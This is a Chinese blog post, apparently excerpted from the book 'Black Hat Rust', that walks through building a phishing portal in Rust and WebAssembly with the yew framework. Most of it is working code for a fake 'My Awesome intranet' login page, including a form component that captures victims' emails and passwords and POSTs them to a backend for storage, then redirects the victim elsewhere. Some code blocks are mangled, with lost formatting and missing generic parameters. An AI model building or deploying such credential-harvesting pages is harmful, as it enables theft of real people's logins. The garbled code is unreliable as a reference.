使用 Rust 和 Webassembly 构建 Web 应用程序

无论是使用 React、VueJS、Angular 还是 Rust,现代 Web 应用程序都由 3 种部分组成:

  • 成分
  • 页面
  • 服务

客户端 Web 应用程序的体系结构

组件是可重用的部分和 UI 元素。例如,输入字段或按钮。

页面是组件的集合。它们匹配路由(URL)。例如,Login页面匹配/login路由。该Home页面与/路线匹配。

最后,服务是包装低级功能或外部服务(如 HTTP 客户端、存储…

我们应用程序的目标很简单:这是一个门户,受害者将在其中输入他们的凭据(认为这是一个合法的表单),凭据将保存在 SQLite 数据库中,然后我们将受害者重定向到错误页面让他们认为该服务暂时不可用,他们应该稍后再试。

这篇文章摘自我的书Black Hat Rust

安装工具链

wasm-pack帮助您构建 Rust 生成的 WebAssembly 包并在浏览器或 Node.js 中使用它。

$ cargo install -f wasm-pack

楷模

请注意,在后端使用与前端相同的语言的一大好处是能够重用模型:

ch_09/phishing/common/src/api.rs

pub mod model {
    use serde::{Deserialize, Serialize};

    #[derive(Debug, Clone, Serialize, Deserialize)]
    #[serde(rename_all = "snake_case")]
    pub struct Login {
        pub email: String,
        pub password: String,
    }

    #[derive(Debug, Clone, Serialize, Deserialize)]
    #[serde(rename_all = "snake_case")]
    pub struct LoginResponse {
        pub ok: bool,
    }
}

pub mod routes {
    pub const LOGIN: &str = "/api/login";
}

现在,如果我们进行更改,则无需在其他地方手动进行相同的更改。Adios 去同步模型问题。

成分

一开始,有组件。组件是可重用的功能或设计。

为了构建我们的组件,我们使用yew, crate ,在我写这篇文章的时候,它是最先进和受支持的 Rust 前端框架。

Properties(或Props)可以看作是一个组件的参数。例如,函数fn factorial(x: u64) -> u64有一个参数x。对于组件,它是同样的事情。如果我们想用特定数据渲染它们,我们使用Properties.

ch_09/phishing/webapp/src/components/error_alert.rs

use yew::{html, Component, ComponentLink, Html, Properties, ShouldRender};

pub struct ErrorAlert {
    props: Props,
}

#[derive(Properties, Clone)]
pub struct Props {
    #[prop_or_default]
    pub error: Option<crate::Error>,
}

impl Component for ErrorAlert {
type Message = ();
type Properties = Props;

fn create(props: Self::Properties, _: ComponentLink<Self>) -> Self {
    ErrorAlert { props }
}

fn update(&mut self, _: Self::Message) -> ShouldRender {
    true
}

fn change(&mut self, props: Self::Properties) -> ShouldRender {
    self.props = props;
    true
}

fn view(&self) -> Html {
    if let Some(error) = &self.props.error {
        html! {
            <div class="alert alert-danger" role="alert">
                {error}
            </div>
        }
    } else {
        html! {}
    }
}

}


非常类似于(老式)React,不是吗?

另一个组件是`LoginForm`包装逻辑以捕获和保存凭据的组件。

**[ch\_09/phishing/webapp/src/components/login\_form.rs](https://github.com/skerkour/black-hat-rust/blob/main/ch_09/phishing/webapp/src/components/login_form.rs)**

pub struct LoginForm {
link: ComponentLink,
error: Option,
email: String,
password: String,
http_client: HttpClient,
api_response_callback: Callback<Result<model::LoginResponse, Error>>,
api_task: Option,
}

pub enum Msg {
Submit,
ApiResponse(Result<model::LoginResponse, Error>),
UpdateEmail(String),
UpdatePassword(String),
}

impl Component for LoginForm {
    type Message = Msg;
    type Properties = ();

    fn create(_: Self::Properties, link: ComponentLink<Self>) -> Self {
        Self {
            error: None,
            email: String::new(),
            password: String::new(),
            http_client: HttpClient::new(),
            api_response_callback: link.callback(Msg::ApiResponse),
            link,
            api_task: None,
        }
    }

fn update(&mut self, msg: Self::Message) -> ShouldRender {
    match msg {
        Msg::Submit => {
            self.error = None;
            // let credentials = format!("email: {}, password: {}", &self.email, &self.password);
            // console::log_1(&credentials.into());
            let credentials = model::Login {
                email: self.email.clone(),
                password: self.password.clone(),
            };
            self.api_task = Some(self.http_client.post::<model::Login, model::LoginResponse>(
                api::routes::LOGIN.to_string(),
                credentials,
                self.api_response_callback.clone(),
            ));
        }
        Msg::ApiResponse(Ok(_)) => {
            console::log_1(&"success".into());
            self.api_task = None;
            let window: Window = web_sys::window().expect("window not available");
            let location = window.location();
            let _ = location.set_href("https://academy.kerkour.com/black-hat-rust");
        }
        Msg::ApiResponse(Err(err)) => {
            self.error = Some(err);
            self.api_task = None;
        }
        Msg::UpdateEmail(email) => {
            self.email = email;
        }
        Msg::UpdatePassword(password) => {
            self.password = password;
        }
    }
    true
}

最后是`view`函数(类似于`render`其他框架)。

fn view(&self) -> Html {
    let onsubmit = self.link.callback(|ev: FocusEvent| {
        ev.prevent_default(); /* Prevent event propagation */
        Msg::Submit
    });
    let oninput_email = self
        .link
        .callback(|ev: InputData| Msg::UpdateEmail(ev.value));
    let oninput_password = self
        .link
        .callback(|ev: InputData| Msg::UpdatePassword(ev.value));

`ErrorAlert`您可以像任何其他 HTML 元素一样嵌入其他组件(此处):

    html! {
        <div>
            <components::ErrorAlert error=&self.error />
            <form onsubmit=onsubmit>
                <div class="mb-3">
                    <input
                        class="form-control form-control-lg"
                        type="email"
                        placeholder="Email"
                        value=self.email.clone()
                        oninput=oninput_email
                        id="email-input"
                    />
                </div>
                <div class="mb-3">
                    <input
                        class="form-control form-control-lg"
                        type="password"
                        placeholder="Password"
                        value=self.password.clone()
                        oninput=oninput_password
                    />
                </div>
                <button
                    class="btn btn-lg btn-primary pull-xs-right"
                    type="submit"
                    disabled=false>
                    { "Sign in" }
                </button>
            </form>
        </div>
    }
}

}


### 页面

页面是组件的集合,并且是 yew 中的组件本身。

**[ch\_09/phishing/webapp/src/pages/login.rs](https://github.com/skerkour/black-hat-rust/blob/main/ch_09/phishing/webapp/src/pages/login.rs)**

pub struct Login {}

impl Component for Login {
type Message = ();
type Properties = ();

// ...

fn view(&self) -> Html {
    html! {
        <div>
            <div class="container text-center mt-5">
                <div class="row justify-content-md-center mb-5">
                    <div class="col col-md-8">
                        <h1>{ "My Awesome intranet" }</h1>
                    </div>
                </div>
                <div class="row justify-content-md-center">
                    <div class="col col-md-8">
                        <LoginForm />
                    </div>
                </div>
            </div>
        </div>
    }
}

}


### 路由

然后我们声明应用程序的所有可能路由。

正如我们之前看到的,路由将 URL 映射到页面。

**[ch\_09/phishing/webapp/src/lib.rs](https://github.com/skerkour/black-hat-rust/blob/main/ch_09/phishing/webapp/src/lib.rs)**

#[derive(Switch, Debug, Clone)]
pub enum Route {
#[to = “*”]
Fallback,
#[to = “/error”]
Error,
#[to = “/”]
Login,
}


### 服务

#### 发出 HTTP 请求

发出 HTTP 请求有点困难,因为我们需要回调并反序列化响应。

**[ch\_09/phishing/webapp/src/services/http\_client.rs](https://github.com/skerkour/black-hat-rust/blob/main/ch_09/phishing/webapp/src/services/http_client.rs)**

#[derive(Default, Debug)]
pub struct HttpClient {}

impl HttpClient {
pub fn new() -> Self {
Self {}
}

pub fn post<B, T>(
    &mut self,
    url: String,
    body: B,
    callback: Callback<Result<T, Error>>,
) -> FetchTask
where
    for<'de> T: Deserialize<'de> + 'static + std::fmt::Debug,
    B: Serialize,
{
    let handler = move |response: Response<Text>| {
        if let (meta, Ok(data)) = response.into_parts() {
            if meta.status.is_success() {
                let data: Result<T, _> = serde_json::from_str(&data);
                if let Ok(data) = data {
                    callback.emit(Ok(data))
                } else {
                    callback.emit(Err(Error::DeserializeError))
                }
            } else {
                match meta.status.as_u16() {
                    401 => callback.emit(Err(Error::Unauthorized)),
                    403 => callback.emit(Err(Error::Forbidden)),
                    404 => callback.emit(Err(Error::NotFound)),
                    500 => callback.emit(Err(Error::InternalServerError)),
                    _ => callback.emit(Err(Error::RequestError)),
                }
            }
        } else {
            callback.emit(Err(Error::RequestError))
        }
    };

    let body: Text = Json(&body).into();
    let builder = Request::builder()
        .method("POST")
        .uri(url.as_str())
        .header("Content-Type", "application/json");
    let request = builder.body(body).unwrap();

    FetchService::fetch(request, handler.into()).unwrap()
}

}


话虽如此,它的优点是非常健壮,因为所有可能的错误都得到了处理。不再有您永远不会知道的未捕获的运行时错误。

### 应用程序

然后是`App`组件,它包装了所有内容并呈现了路线。

**[ch\_09/phishing/webapp/src/lib.rs](https://github.com/skerkour/black-hat-rust/blob/main/ch_09/phishing/webapp/src/lib.rs)**

pub struct App {}

impl Component for App {
type Message = ();
type Properties = ();

// ...

fn view(&self) -> Html {
    let render = Router::render(|switch: Route| match switch {
        Route::Login | Route::Fallback => html! {<pages::Login/>},
        Route::Error => html! {<pages::Error/>},
    });

    html! {
        <Router<Route, ()> render=render/>
    }
}

}


最后,挂载和启动 webapp 的入口点:

#[wasm_bindgen(start)]
pub fn run_app() {
yew::App::::new().mount_to_body();
}


您可以通过运行以下命令来运行新构建的 Web 应用程序:

$ make webapp_debug
$ make serve

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值